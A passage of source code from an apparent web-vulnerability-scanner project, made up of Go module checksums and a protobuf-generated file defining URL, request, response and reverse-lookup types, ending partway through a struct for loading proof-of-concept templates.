37 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 38 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 39 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 40 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 41 | github.com/google/go-cmp v0.5.0 h1:/QaMHBdZ26BB3SSst0Iwl10Epc+xhTquomWX0oZEB6w= 42 | github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 43 | github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 44 | github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067 h1:P2S26PMwXl8+ZGuOG3C69LG4be5vHafUayZm9VPw3tU= 45 | github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU= 46 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 47 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 48 | github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= 49 | github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q= 50 | github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 51 | github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca h1:NugYot0LIVPxTvN8n+Kvkn6TrbMyxQiuvKdEwFdR9vI= 52 | github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= 53 | github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo= 54 | github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= 55 | github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU= 56 | github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8= 57 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 58 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 59 | github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= 60 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 61 | github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M= 62 | github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI= 63 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 64 | golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c h1:Vj5n4GlwjmQteupaxJ9+0FNOmBrHfq7vN4btdGoDZgI= 65 | golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 66 | golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 67 | golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 68 | golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= 69 | golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= 70 | golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 71 | golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 72 | golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 73 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 74 | golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 75 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 h1:4CSI6oo7cOjJKajidEljs9h+uP0rRZBPPPhcCbj5mw8= 76 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 77 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 78 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 79 | golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 80 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 81 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 82 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 83 | golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 84 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 85 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c= 86 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 87 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 88 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 89 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 90 | golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= 91 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 92 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 93 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 94 | golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= 95 | golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 96 | golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 97 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= 98 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 99 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 100 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 101 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 102 | google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 103 | google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= 104 | google.golang.org/genproto v0.0.0-20201102152239-715cce707fb0 h1:d0rYPqjQfVuFe+tZgv4PHt2hNxK79MRXX7PaD/A5ynA= 105 | google.golang.org/genproto v0.0.0-20201102152239-715cce707fb0/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 106 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 107 | google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= 108 | google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= 109 | google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 110 | google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= 111 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 112 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 113 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 114 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 115 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 116 | google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 117 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 118 | google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 119 | google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= 120 | google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c= 121 | google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= 122 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 123 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 124 | gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 125 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 126 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 127 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 128 | honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 129 | -------------------------------------------------------------------------------- /webscan/lib/http.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // source: http.proto 3 | package lib 4 | 5 | 6 | import ( 7 | "embed" 8 | fmt "fmt" 9 | proto "github.com/golang/protobuf/proto" 10 | "gopkg.in/yaml.v3" 11 | math "math" 12 | "strings" 13 | ) 14 | 15 | // Reference imports to suppress errors if they are not otherwise used. 16 | var _ = proto.Marshal 17 | var _ = fmt.Errorf 18 | var _ = math.Inf 19 | 20 | // This is a compile-time assertion to ensure that this generated file 21 | // is compatible with the proto package it is being compiled against. 22 | // A compilation error at this line likely means your copy of the 23 | // proto package needs to be updated. 24 | const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package 25 | 26 | type UrlType struct { 27 | Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"` 28 | Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` 29 | Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"` 30 | Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"` 31 | Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"` 32 | Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"` 33 | Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"` 34 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 35 | XXX_unrecognized []byte `json:"-"` 36 | XXX_sizecache int32 `json:"-"` 37 | } 38 | 39 | func (m *UrlType) Reset() { *m = UrlType{} } 40 | func (m *UrlType) String() string { return proto.CompactTextString(m) } 41 | func (*UrlType) ProtoMessage() {} 42 | func (*UrlType) Descriptor() ([]byte, []int) { 43 | return fileDescriptor_11b04836674e6f94, []int{0} 44 | } 45 | 46 | func (m *UrlType) XXX_Unmarshal(b []byte) error { 47 | return xxx_messageInfo_UrlType.Unmarshal(m, b) 48 | } 49 | func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 50 | return xxx_messageInfo_UrlType.Marshal(b, m, deterministic) 51 | } 52 | func (m *UrlType) XXX_Merge(src proto.Message) { 53 | xxx_messageInfo_UrlType.Merge(m, src) 54 | } 55 | func (m *UrlType) XXX_Size() int { 56 | return xxx_messageInfo_UrlType.Size(m) 57 | } 58 | func (m *UrlType) XXX_DiscardUnknown() { 59 | xxx_messageInfo_UrlType.DiscardUnknown(m) 60 | } 61 | 62 | var xxx_messageInfo_UrlType proto.InternalMessageInfo 63 | 64 | func (m *UrlType) GetScheme() string { 65 | if m != nil { 66 | return m.Scheme 67 | } 68 | return "" 69 | } 70 | 71 | func (m *UrlType) GetDomain() string { 72 | if m != nil { 73 | return m.Domain 74 | } 75 | return "" 76 | } 77 | 78 | func (m *UrlType) GetHost() string { 79 | if m != nil { 80 | return m.Host 81 | } 82 | return "" 83 | } 84 | 85 | func (m *UrlType) GetPort() string { 86 | if m != nil { 87 | return m.Port 88 | } 89 | return "" 90 | } 91 | 92 | func (m *UrlType) GetPath() string { 93 | if m != nil { 94 | return m.Path 95 | } 96 | return "" 97 | } 98 | 99 | func (m *UrlType) GetQuery() string { 100 | if m != nil { 101 | return m.Query 102 | } 103 | return "" 104 | } 105 | 106 | func (m *UrlType) GetFragment() string { 107 | if m != nil { 108 | return m.Fragment 109 | } 110 | return "" 111 | } 112 | 113 | type Request struct { 114 | Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` 115 | Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"` 116 | Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` 117 | ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"` 118 | Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"` 119 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 120 | XXX_unrecognized []byte `json:"-"` 121 | XXX_sizecache int32 `json:"-"` 122 | } 123 | 124 | func (m *Request) Reset() { *m = Request{} } 125 | func (m *Request) String() string { return proto.CompactTextString(m) } 126 | func (*Request) ProtoMessage() {} 127 | func (*Request) Descriptor() ([]byte, []int) { 128 | return fileDescriptor_11b04836674e6f94, []int{1} 129 | } 130 | 131 | func (m *Request) XXX_Unmarshal(b []byte) error { 132 | return xxx_messageInfo_Request.Unmarshal(m, b) 133 | } 134 | func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 135 | return xxx_messageInfo_Request.Marshal(b, m, deterministic) 136 | } 137 | func (m *Request) XXX_Merge(src proto.Message) { 138 | xxx_messageInfo_Request.Merge(m, src) 139 | } 140 | func (m *Request) XXX_Size() int { 141 | return xxx_messageInfo_Request.Size(m) 142 | } 143 | func (m *Request) XXX_DiscardUnknown() { 144 | xxx_messageInfo_Request.DiscardUnknown(m) 145 | } 146 | 147 | var xxx_messageInfo_Request proto.InternalMessageInfo 148 | 149 | func (m *Request) GetUrl() *UrlType { 150 | if m != nil { 151 | return m.Url 152 | } 153 | return nil 154 | } 155 | 156 | func (m *Request) GetMethod() string { 157 | if m != nil { 158 | return m.Method 159 | } 160 | return "" 161 | } 162 | 163 | func (m *Request) GetHeaders() map[string]string { 164 | if m != nil { 165 | return m.Headers 166 | } 167 | return nil 168 | } 169 | 170 | func (m *Request) GetContentType() string { 171 | if m != nil { 172 | return m.ContentType 173 | } 174 | return "" 175 | } 176 | 177 | func (m *Request) GetBody() []byte { 178 | if m != nil { 179 | return m.Body 180 | } 181 | return nil 182 | } 183 | 184 | type Response struct { 185 | Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` 186 | Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"` 187 | Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` 188 | ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"` 189 | Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"` 190 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 191 | XXX_unrecognized []byte `json:"-"` 192 | XXX_sizecache int32 `json:"-"` 193 | } 194 | 195 | func (m *Response) Reset() { *m = Response{} } 196 | func (m *Response) String() string { return proto.CompactTextString(m) } 197 | func (*Response) ProtoMessage() {} 198 | func (*Response) Descriptor() ([]byte, []int) { 199 | return fileDescriptor_11b04836674e6f94, []int{2} 200 | } 201 | 202 | func (m *Response) XXX_Unmarshal(b []byte) error { 203 | return xxx_messageInfo_Response.Unmarshal(m, b) 204 | } 205 | func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 206 | return xxx_messageInfo_Response.Marshal(b, m, deterministic) 207 | } 208 | func (m *Response) XXX_Merge(src proto.Message) { 209 | xxx_messageInfo_Response.Merge(m, src) 210 | } 211 | func (m *Response) XXX_Size() int { 212 | return xxx_messageInfo_Response.Size(m) 213 | } 214 | func (m *Response) XXX_DiscardUnknown() { 215 | xxx_messageInfo_Response.DiscardUnknown(m) 216 | } 217 | 218 | var xxx_messageInfo_Response proto.InternalMessageInfo 219 | 220 | func (m *Response) GetUrl() *UrlType { 221 | if m != nil { 222 | return m.Url 223 | } 224 | return nil 225 | } 226 | 227 | func (m *Response) GetStatus() int32 { 228 | if m != nil { 229 | return m.Status 230 | } 231 | return 0 232 | } 233 | 234 | func (m *Response) GetHeaders() map[string]string { 235 | if m != nil { 236 | return m.Headers 237 | } 238 | return nil 239 | } 240 | 241 | func (m *Response) GetContentType() string { 242 | if m != nil { 243 | return m.ContentType 244 | } 245 | return "" 246 | } 247 | 248 | func (m *Response) GetBody() []byte { 249 | if m != nil { 250 | return m.Body 251 | } 252 | return nil 253 | } 254 | 255 | type Reverse struct { 256 | Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` 257 | Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` 258 | Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"` 259 | IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"` 260 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 261 | XXX_unrecognized []byte `json:"-"` 262 | XXX_sizecache int32 `json:"-"` 263 | } 264 | 265 | func (m *Reverse) Reset() { *m = Reverse{} } 266 | func (m *Reverse) String() string { return proto.CompactTextString(m) } 267 | func (*Reverse) ProtoMessage() {} 268 | func (*Reverse) Descriptor() ([]byte, []int) { 269 | return fileDescriptor_11b04836674e6f94, []int{3} 270 | } 271 | 272 | func (m *Reverse) XXX_Unmarshal(b []byte) error { 273 | return xxx_messageInfo_Reverse.Unmarshal(m, b) 274 | } 275 | func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 276 | return xxx_messageInfo_Reverse.Marshal(b, m, deterministic) 277 | } 278 | func (m *Reverse) XXX_Merge(src proto.Message) { 279 | xxx_messageInfo_Reverse.Merge(m, src) 280 | } 281 | func (m *Reverse) XXX_Size() int { 282 | return xxx_messageInfo_Reverse.Size(m) 283 | } 284 | func (m *Reverse) XXX_DiscardUnknown() { 285 | xxx_messageInfo_Reverse.DiscardUnknown(m) 286 | } 287 | 288 | var xxx_messageInfo_Reverse proto.InternalMessageInfo 289 | 290 | func (m *Reverse) GetUrl() *UrlType { 291 | if m != nil { 292 | return m.Url 293 | } 294 | return nil 295 | } 296 | 297 | func (m *Reverse) GetDomain() string { 298 | if m != nil { 299 | return m.Domain 300 | } 301 | return "" 302 | } 303 | 304 | func (m *Reverse) GetIp() string { 305 | if m != nil { 306 | return m.Ip 307 | } 308 | return "" 309 | } 310 | 311 | func (m *Reverse) GetIsDomainNameServer() bool { 312 | if m != nil { 313 | return m.IsDomainNameServer 314 | } 315 | return false 316 | } 317 | 318 | func init() { 319 | proto.RegisterType((*UrlType)(nil), "lib.UrlType") 320 | proto.RegisterType((*Request)(nil), "lib.Request") 321 | proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry") 322 | proto.RegisterType((*Response)(nil), "lib.Response") 323 | proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry") 324 | proto.RegisterType((*Reverse)(nil), "lib.Reverse") 325 | } 326 | 327 | func init() { 328 | proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94) 329 | } 330 | 331 | var fileDescriptor_11b04836674e6f94 = []byte{ 332 | // 378 bytes of a gzipped FileDescriptorProto 333 | 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40, 334 | 0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57, 335 | 0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2, 336 | 0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08, 337 | 0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69, 338 | 0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51, 339 | 0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf, 340 | 0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb, 341 | 0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a, 342 | 0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec, 343 | 0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84, 344 | 0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10, 345 | 0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8, 346 | 0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42, 347 | 0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2, 348 | 0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71, 349 | 0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65, 350 | 0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55, 351 | 0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e, 352 | 0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65, 353 | 0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74, 354 | 0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe, 355 | 0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00, 356 | 0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00, 357 | } 358 | 359 | type Poc struct { 360 | Name string `yaml:"name"` 361 | Set map[string]string `yaml:"set"` 362 | Sets map[string][]string `yaml:"sets"` 363 | Rules []Rules `yaml:"rules"` 364 | Detail Detail `yaml:"detail"` 365 | } 366 | 367 | type Rules struct { 368 | Method string `yaml:"method"` 369 | Path string 